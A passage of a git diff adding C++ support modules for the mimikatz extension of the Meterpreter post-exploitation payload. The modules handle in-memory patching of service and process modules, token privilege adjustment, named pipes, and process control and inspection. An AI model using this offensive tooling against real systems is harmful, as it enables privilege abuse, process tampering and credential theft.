case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
|
||||
|
||||
case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
|
||||
case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
|
||||
|
||||
case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
|
||||
case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
|
||||
|
||||
case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
|
||||
case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
|
||||
|
||||
case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
|
||||
case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
|
||||
|
||||
case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
|
||||
case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
|
||||
|
||||
case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
|
||||
}
|
||||
|
||||
return checkVersion(&kOs);
|
||||
}
|
||||
|
||||
|
||||
bool mod_patch::checkVersion(vector<OS> * vectorValid)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
for(vector<OS>::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++)
|
||||
{
|
||||
reussite = checkVersion(*monOs);
|
||||
}
|
||||
|
||||
if(!reussite)
|
||||
wcout << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
57
c/meterpreter/source/extensions/mimikatz/modules/mod_patch.h
Normal file
57
c/meterpreter/source/extensions/mimikatz/modules/mod_patch.h
Normal file
@ -0,0 +1,57 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_service.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_patch
|
||||
{
|
||||
public:
|
||||
typedef struct _KIWI_OS_CHECK
|
||||
{
|
||||
DWORD majorVersion;
|
||||
DWORD minorVersion;
|
||||
DWORD build;
|
||||
bool isServer;
|
||||
bool is64;
|
||||
} KIWI_OS_CHECK, *PKIWI_OS_CHECK;
|
||||
|
||||
enum OS
|
||||
{
|
||||
WINDOWS_2000_PRO_x86,
|
||||
WINDOWS_2000_SRV_x86,
|
||||
|
||||
WINDOWS_XP_PRO___x86,
|
||||
WINDOWS_XP_PRO___x64,
|
||||
WINDOWS_2003_____x86,
|
||||
WINDOWS_2003_____x64,
|
||||
|
||||
WINDOWS_VISTA____x86,
|
||||
WINDOWS_VISTA____x64,
|
||||
WINDOWS_2008_____x86,
|
||||
WINDOWS_2008_____x64,
|
||||
|
||||
WINDOWS_SEVEN____x86,
|
||||
WINDOWS_SEVEN____x64,
|
||||
WINDOWS_2008r2___x64,
|
||||
|
||||
WINDOWS_8________x86,
|
||||
WINDOWS_8________x64,
|
||||
WINDOWS_8_SERVER_x64
|
||||
};
|
||||
|
||||
static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL);
|
||||
static bool checkVersion(KIWI_OS_CHECK * monOsValide);
|
||||
static bool checkVersion(OS monOsValide);
|
||||
static bool checkVersion(vector<OS> * vectorValid);
|
||||
|
||||
static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0);
|
||||
static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0);
|
||||
};
|
121
c/meterpreter/source/extensions/mimikatz/modules/mod_pipe.cpp
Normal file
121
c/meterpreter/source/extensions/mimikatz/modules/mod_pipe.cpp
Normal file
@ -0,0 +1,121 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_pipe.h"
|
||||
|
||||
mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\")
|
||||
{
|
||||
pipePath.append(serveur);
|
||||
pipePath.append(L"\\pipe\\");
|
||||
pipePath.append(pipeName);
|
||||
}
|
||||
|
||||
mod_pipe::~mod_pipe(void)
|
||||
{
|
||||
closePipe();
|
||||
}
|
||||
|
||||
bool mod_pipe::closePipe()
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(hPipe != INVALID_HANDLE_VALUE && hPipe)
|
||||
{
|
||||
FlushFileBuffers(hPipe);
|
||||
DisconnectNamedPipe(hPipe);
|
||||
reussite = CloseHandle(hPipe) == TRUE;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_pipe::readFromPipe(wstring &laReponse)
|
||||
{
|
||||
bool reussite = false;
|
||||
wchar_t monBuffer[128];
|
||||
|
||||
bool fSuccess;
|
||||
DWORD longueurReponse;
|
||||
laReponse.clear();
|
||||
|
||||
do
|
||||
{
|
||||
fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false;
|
||||
if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */)
|
||||
{
|
||||
laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t));
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
} while (!fSuccess);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_pipe::writeToPipe(const wstring &leMessage)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD longueurMessage;
|
||||
DWORD longueurOctetsEcris;
|
||||
|
||||
longueurMessage = (static_cast<DWORD>(leMessage.size())) * sizeof(wchar_t);
|
||||
|
||||
if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris)
|
||||
{
|
||||
reussite = FlushFileBuffers(hPipe) != 0;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_pipe::createServer()
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!hPipe || hPipe == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL);
|
||||
|
||||
if (hPipe && hPipe != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
|
||||
}
|
||||
else
|
||||
{
|
||||
closePipe();
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_pipe::createClient()
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!hPipe || hPipe == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT))
|
||||
{
|
||||
hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (hPipe != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT;
|
||||
|
||||
if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0))
|
||||
{
|
||||
closePipe();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_pipe::isConnected()
|
||||
{
|
||||
return (hPipe && hPipe != INVALID_HANDLE_VALUE);
|
||||
}
|
29
c/meterpreter/source/extensions/mimikatz/modules/mod_pipe.h
Normal file
29
c/meterpreter/source/extensions/mimikatz/modules/mod_pipe.h
Normal file
@ -0,0 +1,29 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
|
||||
class mod_pipe
|
||||
{
|
||||
private:
|
||||
HANDLE hPipe;
|
||||
wstring pipePath;
|
||||
|
||||
public:
|
||||
mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L".");
|
||||
virtual ~mod_pipe(void);
|
||||
|
||||
bool closePipe();
|
||||
|
||||
bool readFromPipe(wstring &laReponse);
|
||||
bool writeToPipe(const wstring &leMessage);
|
||||
|
||||
bool createServer();
|
||||
bool createClient();
|
||||
|
||||
bool isConnected();
|
||||
};
|
||||
|
@ -0,0 +1,95 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_privilege.h"
|
||||
|
||||
bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD tailleRequise = 0;
|
||||
|
||||
if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
|
||||
{
|
||||
wchar_t * monBuffer = new wchar_t[tailleRequise];
|
||||
if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0))
|
||||
{
|
||||
privilegeName->assign(monBuffer);
|
||||
}
|
||||
delete[] monBuffer;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege)
|
||||
{
|
||||
return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0);
|
||||
}
|
||||
|
||||
bool mod_privilege::get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
HANDLE hToken = INVALID_HANDLE_VALUE;
|
||||
if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken))
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
BYTE * monBuffer;
|
||||
|
||||
if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
|
||||
{
|
||||
monBuffer = new BYTE[tailleRequise];
|
||||
if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0))
|
||||
{
|
||||
TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer);
|
||||
for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++)
|
||||
{
|
||||
wstring * monPrivilege = new wstring();
|
||||
if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege))
|
||||
{
|
||||
maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes));
|
||||
}
|
||||
delete monPrivilege;
|
||||
}
|
||||
}
|
||||
delete[] monBuffer;
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_privilege::set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])];
|
||||
TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer);
|
||||
mesPrivileges->PrivilegeCount = static_cast<DWORD>(maPrivilegesvector->size());
|
||||
|
||||
unsigned int i;
|
||||
vector<pair<wstring, DWORD>>::iterator monPrivilege;
|
||||
for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++)
|
||||
{
|
||||
if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid)))
|
||||
{
|
||||
mesPrivileges->Privileges[i].Attributes = monPrivilege->second;
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(reussite)
|
||||
{
|
||||
HANDLE hToken = INVALID_HANDLE_VALUE;
|
||||
if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0))
|
||||
{
|
||||
reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast<TOKEN_PRIVILEGES *>(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
|
||||
delete monBuffer;
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,18 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
|
||||
class mod_privilege
|
||||
{
|
||||
private:
|
||||
static bool getName(PLUID idPrivilege, wstring * privilegeName);
|
||||
static bool getValue(wstring * privilegeName, PLUID idPrivilege);
|
||||
|
||||
public:
|
||||
static bool get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
static bool set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
};
|
473
c/meterpreter/source/extensions/mimikatz/modules/mod_process.cpp
Normal file
473
c/meterpreter/source/extensions/mimikatz/modules/mod_process.cpp
Normal file
@ -0,0 +1,473 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_process.h"
|
||||
|
||||
bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName)
|
||||
{
|
||||
HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if(hProcessesSnapshot != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
PROCESSENTRY32 monProcessus;
|
||||
monProcessus.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if(Process32First(hProcessesSnapshot, &monProcessus))
|
||||
{
|
||||
do
|
||||
{
|
||||
if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0))
|
||||
{
|
||||
KIWI_PROCESSENTRY32 monProcessK = {
|
||||
monProcessus.dwSize,
|
||||
monProcessus.cntUsage,
|
||||
monProcessus.th32ProcessID,
|
||||
monProcessus.th32DefaultHeapID,
|
||||
monProcessus.th32ModuleID,
|
||||
monProcessus.cntThreads,
|
||||
monProcessus.th32ParentProcessID,
|
||||
monProcessus.pcPriClassBase,
|
||||
monProcessus.dwFlags,
|
||||
monProcessus.szExeFile
|
||||
};
|
||||
|
||||
maProcessesvector->push_back(monProcessK);
|
||||
}
|
||||
} while(Process32Next(hProcessesSnapshot, &monProcessus));
|
||||
}
|
||||
CloseHandle(hProcessesSnapshot);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>();
|
||||
|
||||
if(getList(mesProcesses, processName))
|
||||
{
|
||||
if(reussite = (mesProcesses->size() == 1))
|
||||
{
|
||||
*monProcess = mesProcesses->front();
|
||||
}
|
||||
}
|
||||
delete mesProcesses;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>();
|
||||
if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId))
|
||||
{
|
||||
if(!moduleName)
|
||||
{
|
||||
*monModule = *(monVecteurDeModule->begin());
|
||||
reussite = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++)
|
||||
{
|
||||
if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0)
|
||||
{
|
||||
*monModule = *leModule;
|
||||
reussite = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
delete monVecteurDeModule;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId)
|
||||
{
|
||||
HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0));
|
||||
|
||||
if(hModuleSnapshot != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
MODULEENTRY32 monModule;
|
||||
monModule.dwSize = sizeof(MODULEENTRY32);
|
||||
|
||||
if(Module32First(hModuleSnapshot, &monModule))
|
||||
{
|
||||
do
|
||||
{
|
||||
KIWI_MODULEENTRY32 monModuleK = {
|
||||
monModule.dwSize,
|
||||
monModule.th32ModuleID,
|
||||
monModule.th32ProcessID,
|
||||
monModule.GlblcntUsage,
|
||||
monModule.ProccntUsage,
|
||||
monModule.modBaseAddr,
|
||||
monModule.modBaseSize,
|
||||
monModule.hModule,
|
||||
monModule.szModule,
|
||||
monModule.szExePath
|
||||
};
|
||||
maModulevector->push_back(monModuleK);
|
||||
} while(Module32Next(hModuleSnapshot, &monModule));
|
||||
}
|
||||
CloseHandle(hModuleSnapshot);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken)
|
||||
{
|
||||
bool reussite = false;
|
||||
RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION));
|
||||
STARTUPINFO mesInfosDemarrer;
|
||||
RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
|
||||
mesInfosDemarrer.cb = sizeof(STARTUPINFO);
|
||||
|
||||
wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1];
|
||||
maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size());
|
||||
commandLine[maCommandLine->size()] = L'\0';
|
||||
|
||||
DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL);
|
||||
|
||||
if(leToken)
|
||||
reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
|
||||
else if(aUsurper)
|
||||
reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
|
||||
else
|
||||
reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
|
||||
|
||||
delete[] commandLine;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::suspend(DWORD & processId)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess")))
|
||||
{
|
||||
HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
|
||||
if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
|
||||
{
|
||||
reussite = NT_SUCCESS(NtSuspendProcess(monHandle));
|
||||
CloseHandle(monHandle);
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::resume(DWORD & processId)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess")))
|
||||
{
|
||||
HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
|
||||
if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
|
||||
{
|
||||
reussite = NT_SUCCESS(NtResumeProcess(monHandle));
|
||||
CloseHandle(monHandle);
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::stop(DWORD & processId, DWORD exitCode)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId);
|
||||
if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
|
||||
{
|
||||
reussite = (TerminateProcess(monHandle, exitCode) != 0);
|
||||
CloseHandle(monHandle);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::debug(DWORD & processId)
|
||||
{
|
||||
return (DebugActiveProcess(processId) != 0);
|
||||
}
|
||||
|
||||
bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(processHandle == INVALID_HANDLE_VALUE)
|
||||
processHandle = GetCurrentProcess();
|
||||
|
||||
if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess")))
|
||||
{
|
||||
ULONG sizeReturn;
|
||||
reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION));
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId);
|
||||
if(handleProcess && handleProcess != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
HANDLE handleProc;
|
||||
if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0)
|
||||
{
|
||||
DWORD ddNeededSize;
|
||||
TOKEN_STATISTICS tokenStats;
|
||||
|
||||
if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0))
|
||||
{
|
||||
AuthentificationId = tokenStats.AuthenticationId;
|
||||
}
|
||||
CloseHandle(handleProc);
|
||||
}
|
||||
CloseHandle(handleProcess);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getPeb(PEB * peb, HANDLE processHandle)
|
||||
{
|
||||
bool reussite = false;
|
||||
PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION();
|
||||
if(getProcessBasicInformation(mesInfos, processHandle))
|
||||
{
|
||||
reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle);
|
||||
}
|
||||
delete mesInfos;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
BYTE * baseAddr = ptrBaseAddr;
|
||||
|
||||
BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)];
|
||||
if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess))
|
||||
{
|
||||
PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER);
|
||||
if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)];
|
||||
if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess))
|
||||
{
|
||||
PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS);
|
||||
if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0)
|
||||
{
|
||||
BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size];
|
||||
if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess))
|
||||
{
|
||||
PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR);
|
||||
if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)))
|
||||
{
|
||||
while(structImportDesc->Characteristics)
|
||||
{
|
||||
DWORD i = 0;
|
||||
|
||||
BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)];
|
||||
BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)];
|
||||
|
||||
vector<KIWI_IAT_MODULE> mesImports;
|
||||
|
||||
for(;;)
|
||||
{
|
||||
if(
|
||||
mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess)
|
||||
&&
|
||||
mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess)
|
||||
)
|
||||
{
|
||||
PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName);
|
||||
PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT);
|
||||
|
||||
if(HintNameArray->u1.Function)
|
||||
{
|
||||
KIWI_IAT_MODULE imageIAT = {
|
||||
baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function),
|
||||
